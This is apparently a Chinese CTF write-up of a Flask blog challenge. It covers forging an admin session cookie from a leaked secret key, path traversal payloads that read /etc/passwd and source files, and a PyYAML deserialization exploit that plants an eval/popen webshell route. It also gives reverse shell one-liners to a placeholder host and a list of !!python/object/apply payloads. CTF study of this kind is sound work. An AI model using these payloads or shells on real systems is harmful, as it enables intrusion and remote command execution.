DASCTF-2022十月-BlogSystem

目录

DASCTF-2022十月-BlogSystem

获取源码

首先打开题目,是一个简单的页面,其中需要注意的是上面的三个功能Home,Login,register

先注册下,进入博客里

当然,注册的时候也需要简单进行ssti和sql注入的测试

发现多了几个功能,先都测试下,这个writeBlog我测试的时候没有发现太多的问题,修改密码也同样没有发现注入点

但是这个地方有一个文件上传点,前端校验,是可以绕过的。

后面就需要注意里面的博客内容了:

我们着重看关于flask相关的内容,其中还有一个网鼎杯2022青龙组的题估计也是提示

在博客中我们主要是要观察网站的大体设计方式,有没有设计的不合理的地方,和敏感信息搜集两个部分。

敏感信息:flask密钥

app.secret_key = '7his_1s_my_fav0rite_ke7'

这时候我们再回到登录界面就会发现admin账号已经注册过了,很自然就想到cookie伪造登录admin账户。

flask_session_cookie_manager3.py

https://github.com/noraj/flask-session-cookie-manager

flask_session_cookie_manager的操作:

解密:

python .\flask_session_cookie_manager3.py decode -s 密钥 -c cookie

 python .\flask_session_cookie_manager3.py decode -s 7his_1s_my_fav0rite_ke7 -c eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImxpYmVzdG9yIn0.Y1uokw.gH_7gH97IC6gw2CqaLULjQiMx2Y

加密:

python .\flask_session_cookie_manager3.py encode -s 密钥 -t "cookie内容"

python .\flask_session_cookie_manager3.py encode -s 7his_1s_my_fav0rite_ke7 -t "{'_permanent': True, 'username': 'admin'}"

然后修改cookie登录admin后发现多了一个功能Download功能:

打开后看到url中疑似有路径

进行测试验证:

?path=././././haipa.jpg

顺利得到图片,说明存在任意文件读取的漏洞,尝试读取/etc/passwd

?path=../../../../../../../../../etc/passwd

根据报错和发现..和//被过滤,然后复写绕过:

.//././/././/././/././/././/././/././/././/./etc/passwd

flask的web目录通常在app目录下

payload

?path=../../../../../../../../../app/app.py

额外发现

如下payload有可能打通,手动输入九个../就可以触发这个payload。

/download?path=../../../../../../../../../app/app.py

这个不知道是什么情况,但确实能用,而且就算是作者复现的时候,也突然发现了这个bug

代码审计

app.py

首先查看app.py文件:

from flask import *
import config

app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *

app.register_blueprint(index, name='index')# 注册蓝图两个
app.register_blueprint(blog, name='blog')

@app.context_processor # 定义部分全局内容
def login_statue():
    username = session.get('username')
    if username:
        try:
            user = User.query.filter(User.username == username).first()
            if user:
                return {"username": username, 'name': user.name, 'password': user.password}
        except Exception as e:
            return e
    return {}

@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html'), 404

@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500

if __name__ == '__main__':
    app.run('0.0.0.0', 80)

一些全局设置和错误处理,没什么有用的

从中可以发现还有一个文件config.py两个文件夹modelview

config.py

SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost:3306/flask'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SQLALCHEMY_ECHO = True
MAX_CONTENT_LENGTH = 1 * 1024 * 1024

导入model和view的时候,人家大概率是软件包,所以可以尝试导入__init__.py试一试

/view/__init__.py

from .index import index
from .blog import blog

/model/__init__.py

from .model import *

很明显,index.py和blog.py是存在,但是model下的文件未给出,估计大概率是model(实测确实是),但是估计用不到模型,所以不必太计较这个,主要是查看框架的路由

view/index.py

源码:

from flask import Blueprint, session, render_template, request, flash, redirect, url_for, Response, send_file
from werkzeug.security import check_password_hash
from decorators import login_limit, admin_limit #导入拦截登录器
from model import *
import os

index = Blueprint("index", __name__)

@index.route('/')
def hello():
    return render_template('index.html')

@index.route('/register', methods=['POST', 'GET'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    if request.method == 'POST':
        name = request.form.get('name')
        username = request.form.get('username')
        password = request.form.get('password')
        user = User.query.filter(User.username == username).first()
        if user is not None:
            flash("该用户名已存在")
            return render_template('register.html')
        else:
            user = User(username=username, name=name)
            user.password_hash(password)
            db.session.add(user)
            db.session.commit()
            flash("注册成功!")
            return render_template('register.html')

@index.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        user = User.query.filter(User.username == username).first()
        if (user is not None) and (check_password_hash(user.password, password)):
            session['username'] = user.username
            session.permanent = True
            return redirect(url_for('index.hello'))
        else:
            flash("账号或密码错误")
            return render_template('login.html')

@index.route("/updatePwd", methods=['POST', 'GET'])
@login_limit
def update():
    if request.method == "GET":
        return render_template("updatePwd.html")
    if request.method == 'POST':
        lodPwd = request.form.get("lodPwd")
        newPwd1 = request.form.get("newPwd1")
        newPwd2 = request.form.get("newPwd2")
        username = session.get("username")
        user = User.query.filter(User.username == username).first()
        if check_password_hash(user.password, lodPwd):
            if newPwd1 != newPwd2:
                flash("两次新密码不一致!")
                return render_template("updatePwd.html")
            else:
                user.password_hash(newPwd2)
                db.session.commit()
                flash("修改成功!")
                return render_template("updatePwd.html")
        else:
            flash("原密码错误!")
            return render_template("updatePwd.html")

@index.route('/download', methods=['GET'])
@admin_limit # 限制admin使用的
def download():
    if request.args.get('path'):
        path = request.args.get('path').replace('..', '').replace('//', '')
        path = os.path.join('static/upload/', path)
        if os.path.exists(path):
            return send_file(path)
        else:
            return render_template('404.html', file=path)
    return render_template('sayings.html',
                           yaml='所谓『恶』,是那些只为了自己,利用和践踏弱者的家伙!但是,我虽然是这样,也知道什么是令人作呕的『恶』,所以,由我来制裁!')

@index.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('index.hello'))

可以看出在Download路由下,明显是有过滤存在的,但是不知道为什么,有时候过滤不成功。

该文件完成正常的注册,登录,和修改操作,也有当前存在漏洞的Download路由,并且是admin才可以使用的

view/blog.py

打开源码:

这个才是重要的文件

摘取部分有用的:

import os
import random
import re
import time

import yaml
from flask import Blueprint, render_template, request, session
from yaml import Loader

from decorators import login_limit, admin_limit
from model import *

blog = Blueprint("blog", __name__, url_prefix="/blog")

def waf(data):
    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
        return False
    else:
        return True

@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():
    try:
        file = request.files.get('editormd-image-file')
        fileName = file.filename.replace('..','')
        filePath = os.path.join("static/upload/", fileName)
        file.save(filePath)
        return {
            'success': 1,
            'message': '上传成功!',
            'url': "/" + filePath
        }
    except Exception as e:
        return {
            'success': 0,
            'message': '上传失败'
        }

@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
    if request.args.get('path'):
        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
        try:
            with open(file, 'rb') as f:
                f = f.read()
                if waf(f):
                    print(yaml.load(f, Loader=Loader))
                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
                else:
                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')
        except Exception as e:
            return render_template('sayings.html', yaml='鲁迅说:'+str(e))
    else:

        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
            sayings = yaml.load(f, Loader=Loader)
            saying = random.choice(sayings)
            return render_template('sayings.html', yaml=saying)

这个最后的saying路由有问题

此处如果直接进行反序列化RCE的话发现很困难,很多东西都被过滤了,所以我们考虑写入内存马,即一个可以执行命令的路由,虽然人家禁止我们在yaml中写入奇怪的东西,但是我们可以在其他地方上次文件,然后在这儿导入即可。

导入的时候,可以直接把upload文件夹当作一个软件包,然后我们写入__init__.py就可以成功触发了。

python内存马:

from flask import *

eval("app.add_url_rule('/shell', 'shell', lambda:__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app']})# 生成一个shell路由,参数为shell

或者反弹shell

import os
os.system('bash -c "bash -i >& /dev/tcp/xxx/2333 0>&1"')
import os,pty,socket;s=socket.socket();s.connect(("xxx",2333));
[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")

考虑到flask的特殊性,只能加载一次,如果反弹shell不能弹中,就G了(作者也给出了提示)所以我们直接写入内存马即可。

之后在上传处上传payload

上传的时候注意,Content-Type结束后,要空一行才开始写正文

然后接着上传yaml文件

最后访问

/blog/saying?path=static/upload/exp.yaml

然后显示鲁迅即可

下面验证这个内存马

/shell?shell=ls

最后成功获得flag

补充pyyaml反序列化

pyyaml≤5.1

当pyyaml小于5.1的时候利用非常简单,也是我们主要的思路来源

反序列化逻辑:

pyyaml反序列化主要的函数时yaml.load()yaml.dump()两个,这两个默认使用的Loader加载器,这个加载器时危险的

当调用加载器的时候,最后会传入两个由基本构造器BaseConstructor所组成的SafeConstructorConstructor,前者不支持类型转换,只是单纯的一个yaml构造器,但是后者时强大的,不只支持原版的yaml语法,也支持python独有的魔改,在里面可以调用很多库,引入很多模块。

python/object/apply

这个函数最终construct_python_object_apply()中,然后导入这个库,接着就执行代码

import yaml
yaml.load("""
!!python/object/apply:os.system
- whoami
""")
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]    
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]

python/object/new

python/object/newpython/object/apply 可以视为是完全等价的,payload和上面的apply一样,可以试一试。

python/module

这个函数时载入一个python模块,但是不能执行指令,通常时在可以控制上传点的时候,或者可以写入数据的时候使用的,用来载入危险指令,就像本文中的这个题目一样。

模块就是去掉py的文件名,或者一个软件包

python/name

使用方法同上面的,主要是用来获得模块下的某个特定的方法。

pyyaml>5.1后

更细致的可以去看文末的文章

SecMap - 反序列化(PyYAML) - Tr0y's Blog

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本站及文章作者不为此承担任何责任。

本站拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本站允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇